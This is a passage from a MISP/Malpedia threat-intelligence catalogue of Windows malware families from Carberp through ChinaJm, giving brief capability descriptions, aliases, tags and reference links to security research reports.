https://threatintel.blog/OPBlueRaven-Part1/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html
https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html
https://cocomelonc.github.io/book/2023/12/13/malwild-book.html
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.kroll.com/en/insights/publications/cyber/carbanak-anunak-distributed-via-idatloader-hijackloader
https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest
https://www.prodaft.com/m/reports/FIN7_TLPCLEAR.pdf
https://unit42.paloaltonetworks.com/atoms/mulelibra/
https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/
https://www.mandiant.com/resources/blog/evolution-of-fin7
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html
https://threatintel.blog/OPBlueRaven-Part2/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

Carberp

The tag is: *misp-galaxy:malpedia="Carberp"*

Carberp is also known as:

Table 3437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://web.archive.org/web/20150713145858/http://www.rsaconference.com/writable/presentations/file_upload/ht-t06-dissecting-banking-trojan-carberp_copy1.pdf
https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html
https://blog.avast.com/2013/04/08/carberp_epitaph/
https://cdn1.esetstatic.com/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf

Cardinal RAT

Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.

The tag is: *misp-galaxy:malpedia="Cardinal RAT"*

Cardinal RAT is also known as:

Table 3438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf

Careto (Windows)

The tag is: *misp-galaxy:malpedia="Careto (Windows)"*

Careto (Windows) is also known as:

- TheMask

Table 3439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.careto
https://techcrunch.com/2025/05/23/mysterious-hacking-group-careto-was-run-by-the-spanish-government-sources-say/
https://securelist.com/the-caretomask-apt-frequently-asked-questions/58254/
https://securelist.com/careto-is-back/114942/
https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/The-Mask-has-been-unmasked-again.pdf

CargoBay

CargoBay is a newer malware family which was first observed in 2022 and is notable for being written in the Rust language. CargoBay is likely based on source code taken from 'Black Hat Rust' GitHub project (https://github.com/skerkour/black-hat-rust). CargoBay is usually distributed via phishing emails, and the malware binaries may be disguised as legitimate applications. Upon execution, the malware starts by performing environmental checks such as checking its execution path and the configured system language. If the tests pass, then the malware proceeds to gather basic system information and register with its C2 via HTTP from which it receives JSON-formatted jobs to carry out. CargoBay can execute commands via the command line and downloading additional malware binaries.

The tag is: *misp-galaxy:malpedia="CargoBay"*

CargoBay is also known as:

Table 3440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay
https://exchange.xforce.ibmcloud.com/malware-analysis/guid:87abff769352d8208e403331c86eb95f

CARROTBALL

CARROTBALL is a simple FTP downloader built to deploy SYSCON, a Remote Access Trojan used by the same threat actor. Discovered by Unit 42 in late 2019, the downloader was adopted for use in spear phishing attacks against US government agencies.

The tag is: *misp-galaxy:malpedia="CARROTBALL"*

CARROTBALL is also known as:

Table 3441. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball

https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

CarrotBat

The tag is: *misp-galaxy:malpedia="CarrotBat"*

CarrotBat is also known as:

Table 3442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

CashRansomware

The tag is: *misp-galaxy:malpedia="CashRansomware"*

CashRansomware is also known as:

Table 3443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cashransom
https://tehtris.com/en/blog/unreleased-raas-analysis-cashransomware/

Casper

ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.

The tag is: *misp-galaxy:malpedia="Casper"*

Casper is also known as:

Table 3444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.casper

https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/

CASTLELOADER

CastleLoader payloads are distributed as portable executables containing an embedded shellcode, which then invokes the main module of the loader that, in turn, connects to the C2 server in order to fetch and execute the next-stage malware.

The tag is: *misp-galaxy:malpedia="CASTLELOADER"*

CASTLELOADER is also known as:

Table 3445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.castleloader
https://catalyst.prodaft.com/public/report/understanding-current-castleloader-campaigns/overview
https://blackpointcyber.com/blog/python-driven-castleloader-analysis/

CatB

The tag is: *misp-galaxy:malpedia="CatB"*

CatB is also known as:

Table 3446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.catb
https://www.sentinelone.com/blog/decrypting-catb-ransomware-analyzing-their-latest-attack-methods/
https://www.sentinelone.com/labs/chamelgang-attacking-critical-infrastructure-with-ransomware/
https://hitcon.org/2023/CMT/slide/Unmasking%20CamoFei_An%20In-depth%20Analysis%20of%20an%20Emerging%20APT%20Group%20Focused%20on%20Healthcare%20Sectors%20in%20East%20Asia.pdf
https://minerva-labs.com/blog/new-catb-ransomware-employs-2-year-old-dll-hijacking-technique-to-evade-detection/
http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf
https://www.vmray.com/cyber-security-blog/catb-ransomware-a-new-threat-exploiting-dll-side-loading/

Catchamas

The tag is: *misp-galaxy:malpedia="Catchamas"*

Catchamas is also known as:

Table 3447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

CCleaner Backdoor

According to CrowdStrike, this backdoor was discovered embedded in the legitimate, signed version of CCleaner 5.33, and thus constitutes a supply chain attack.

The tag is: *misp-galaxy:malpedia="CCleaner Backdoor"*

CCleaner Backdoor is also known as:

- DIRTCLEANER

Table 3448. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor
https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf
https://securityintelligence.com/news/security-utility-abuses-supply-chain-for-a-malware-attack/
http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor
https://www.wired.com/story/ccleaner-malware-targeted-tech-firms
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/
http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/
https://twitter.com/craiu/status/910148928796061696
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident
https://stmxcsr.com/persistence/print-processor.html
https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident

https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://risky.biz/whatiswinnti/
https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://blog.avast.com/progress-on-ccleaner-investigation

CEELOADER

Mandiant characterizes this malware as a downloader and shellcode stager.

The tag is: *misp-galaxy:malpedia="CEELOADER"*

CEELOADER is also known as:

Table 3449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader
https://www.mandiant.com/resources/blog/russian-targeting-gov-business

CenterPOS

The tag is: *misp-galaxy:malpedia="CenterPOS"*

CenterPOS is also known as:

- cerebrus

Table 3450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.centerpos
https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html

Cerber

A prolific ransomware which originally added ".cerber" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable

set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.

The tag is: *misp-galaxy:malpedia="Cerber"*

Cerber is also known as:

Table 3451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber
https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/
https://www.justice.gov/usao-dc/press-release/file/1021186/download
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/
https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/
http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/
https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html
https://www.youtube.com/watch?v=y8Z9KnL8s8s

CetaRAT

The tag is: *misp-galaxy:malpedia="CetaRAT"*

CetaRAT is also known as:

Table 3452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ceta_rat
https://blogs.quickheal.com/cetarat-apt-group-targeting-the-government-agencies/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388

ChaChi

The tag is: *misp-galaxy:malpedia="ChaChi"*

ChaChi is also known as:

Table 3453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chachi
https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat

Chaes

This malware made its first appearance during the middle to end of 2020, it specifically targets Brazil and the largest e-commerce company in Latin America, Mercado Livre. It is a multistage malware deployment which uses several legitimate Windows processes and open source tools to remain undetected.

The tag is: *misp-galaxy:malpedia="Chaes"*

Chaes is also known as:

Table 3454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chaes
https://blog.morphisec.com/chaes4-new-chaes-malware-variant-targeting-financial-and-logistics-customers
https://blog.morphisec.com/chaes-chronicles

https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf
https://decoded.avast.io/anhho/chasing-chaes-kill-chain/
https://www.morphisec.com/hubfs/Chae$_Chronicles_Chaes4.1.pdf

Chainshot

The tag is: *misp-galaxy:malpedia="Chainshot"*

Chainshot is also known as:

Table 3455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot
https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/
https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack
https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/
https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/

CHAIRSMACK

The tag is: *misp-galaxy:malpedia="CHAIRSMACK"*

CHAIRSMACK is also known as:

Table 3456. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/
https://blog.certfa.com/posts/fake-interview-the-new-activity-of-charming-kitten/

Chaos (Windows)

In-development ransomware family which was released in June 2021 by an unknown threat actor. The builder initially claimed to be a "Ryuk .Net Ransomware Builder" even though it was completely unrelated to the Ryuk malware family. Presently it appears to contain trojan-like features, but lacks features commonly found in ransomware such as data exfiltration.

The tag is: *misp-galaxy:malpedia="Chaos (Windows)"*

Chaos (Windows) is also known as:

- FakeRyuk
- RyukJoke
- Yashma

Table 3457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos
https://labs.k7computing.com/index.php/the-spectre-of-spectraransomware/
https://blog.talosintelligence.com/new-threat-actor-using-yashma-ransomware/
https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/
https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia
https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html
https://threatmon.io/chaos-unleashed-a-technical-analysis-of-a-novel-ransomware/
https://twitter.com/vinopaljiri/status/1519645742440329216
https://www.youtube.com/watch?v=1uNpSQTurU0&list=PLt4ef6hKUpNdzVvw-nBrt2xHtme8ESO8w&index=3
https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/
https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html
https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree
https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction
https://labs.k7computing.com/index.php/ransomed-by-warlock-dark-army-officials/

Chaperone

According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim's

machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.

The tag is: *misp-galaxy:malpedia="Chaperone"*

Chaperone is also known as:

- Taj Mahal

Table 3458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone
https://securelist.com/project-tajmahal/90240/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://github.com/TheEnergyStory/malware_analysis/tree/master/TajMahal

ChargeWeapon

The tag is: *misp-galaxy:malpedia="ChargeWeapon"*

ChargeWeapon is also known as:

Table 3459. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chargeweapon
https://blog.eclecticiq.com/chinese-state-sponsored-cyber-espionage-activity-targeting-semiconductor-industry-in-east-asia

Charon

According to Secui, this ransomware was used in attacks observed against Middle Eastern government agencies and the aviation industry.

The tag is: *misp-galaxy:malpedia="Charon"*

Charon is also known as:

Table 3460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.charon
https://www.secui.com/data/upload/trends/1755675576.SJNjz.pdf

CHCH

CHCH is a Ransomware spotted in the wild in December 2019. It encrypts victim files and adds the extension .chch to them while it drops a ransomware note named: READ_ME.TXT

The tag is: *misp-galaxy:malpedia="CHCH"*

CHCH is also known as:

Table 3461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chch
https://twitter.com/GrujaRS/status/1205566219971125249

ChChes

The tag is: *misp-galaxy:malpedia="ChChes"*

ChChes is also known as:

- HAYMAKER
- Ham Backdoor

Table 3462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chches
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
https://www.jpcert.or.jp/magazine/acreport-ChChes.html
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html
https://www.secureworks.com/research/threat-profiles/bronze-riverside

CHEESETRAY

CHEESETRAY is a sophisticated proxy-aware backdoor that can operate in both active and passive mode depending on the passed command-line parameters. The backdoor is capable of enumerating files and processes, enumerating drivers, enumerating remote desktop sessions, uploading and downloading files, creating and terminating processes, deleting files, creating a reverse shell, acting as a proxy server, and hijacking processes among its other functionality. The backdoor communicates with its C&C server using a custom binary protocol over TCP with port specified as a command-line parameter.

The tag is: *misp-galaxy:malpedia="CHEESETRAY"*

CHEESETRAY is also known as:

- CROWDEDFLOUNDER

Table 3463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray
https://www.us-cert.gov/ncas/analysis-reports/ar20-045c
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf

Chernolocker

Chernolocker is a ransomware that encrypts a victim's files by using AES-256 and it asks for BTC ransom. Different versions are classified by the attacker's email address which changes over time.

The tag is: *misp-galaxy:malpedia="Chernolocker"*

Chernolocker is also known as:

Table 3464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chernolocker
https://id-ransomware.blogspot.com/2019/12/chernolocker-ransomware.html

CherryLoader

The tag is: *misp-galaxy:malpedia="CherryLoader"*

CherryLoader is also known as:

Table 3465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cherryloader
https://arcticwolf.com/resources/blog/cherryloader-a-new-go-based-loader-discovered-in-recent-intrusions/

CherryPicker POS

The tag is: *misp-galaxy:malpedia="CherryPicker POS"*

CherryPicker POS is also known as:

- cherry_picker
- cherrypicker
- cherrypickerpos

Table 3466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker
https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

ChewBacca

The tag is: *misp-galaxy:malpedia="ChewBacca"*

ChewBacca is also known as:

Table 3467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca
http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/

Chihuahua

The tag is: *misp-galaxy:malpedia="Chihuahua"*

Chihuahua is also known as:

Table 3468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chihuahua
https://www.gdatasoftware.com/blog/2025/05/38199-chihuahua-infostealer

Chimera

According to PCrisk, Chimera is a ransomware virus that encrypts files stored on infected systems. It is distributed using various false job applications, business offers, and infected email attachments. After encrypting the files, Chimera adds a . crypt extension to each file.

The tag is: *misp-galaxy:malpedia="Chimera"*

Chimera is also known as:

Table 3469. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chimera
https://www.malwarebytes.com/blog/news/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild

CHINACHOPPER

a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.

The tag is: *misp-galaxy:malpedia="CHINACHOPPER"*

CHINACHOPPER is also known as:

Table 3470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper
https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://www.youtube.com/watch?v=rn-6t7OygGk
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html
https://www.sygnia.co/threat-reports-and-advisories/weaver-ant-tracking-a-china-nexus-cyber-espionage-operation/
https://www.wired.com/story/china-microsoft-exchange-server-hack-victims/
https://techcommunity.microsoft.com/t5/azure-sentinel/web-shell-threat-hunting-with-azure-sentinel/ba-p/2234968
https://www.secureworks.com/research/threat-profiles/bronze-union

https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf

https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos

https://www.trendmicro.com/en_us/research/21/d/could-the-microsoft-exchange-breach-be-stopped.html

https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

https://attack.mitre.org/software/S0020/

https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html

https://redcanary.com/blog/microsoft-exchange-attacks

https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html

https://us-cert.cisa.gov/ncas/alerts/aa20-259a

https://www.huntress.com/hubfs/Videos/Webinars/Overlay-Mass_Exploitation_of_Exchange.mp4

https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

https://asec.ahnlab.com/en/47455/

https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion

https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits

https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day

https://attack.mitre.org/groups/G0125/

https://blog.joshlemon.com.au/hafnium-exchange-attacks/

https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html

https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf

https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/

https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders

https://us-cert.cisa.gov/ncas/alerts/aa20-275a

https://attack.mitre.org/groups/G0096

https://twitter.com/ESETresearch/status/1366862946488451088

https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/

https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html

https://www.secureworks.com/research/threat-profiles/bronze-express

https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers

https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/

https://www.secureworks.com/research/threat-profiles/bronze-mohawk

https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html

https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran

https://www.huntress.com/hubfs/Mass%20Exploitation%20of%20Microsoft%20Exchange%20(2).pdf

https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers

https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/

https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/

https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a

https://archive.is/LJFEF

https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728

https://www.secureworks.com/research/threat-profiles/bronze-president

https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers

https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf

https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html

https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/

https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/multi-factor-authentication-new-attacks

https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html

https://www.paloaltonetworks.com/blog/security-operations/through-the-cortex-xdr-lens-uncovering-a-new-activity-group-targeting-governments-in-the-middle-east-and-africa/
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf
https://unit42.paloaltonetworks.com/china-chopper-webshell/
https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/
https://www.imperva.com/blog/imperva-observes-hive-of-activity-following-hafnium-microsoft-exchange-disclosures/
https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html
https://www.crowdstrike.com/blog/an-end-to-smash-and-grab-more-targeted-approaches/
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Backdoor%2Bvia%2BXFF%2BMysterious%2BThreat%2BActor%2BUnder%2BRadar.pdf
https://unit42.paloaltonetworks.com/atoms/iron-taurus/
https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1
https://twitter.com/CyberRaiju/status/1373582619707867136
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf
https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

Chinad

Adware that shows advertisements using plugin techniques for popular browsers

The tag is: *misp-galaxy:malpedia="Chinad"*

Chinad is also known as:

Table 3471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad
https://www.malwarebytes.com/blog/news/2015/05/unusual-exploit-kit-targets-chinese-users-part-1

https://www.malwarebytes.com/blog/news/2015/06/unusual-exploit-kit-targets-chinese-users-part-2

ChinaJm

Ransomware.

The tag is: *misp-galaxy:malpedia="ChinaJm"*

ChinaJm is also known as:

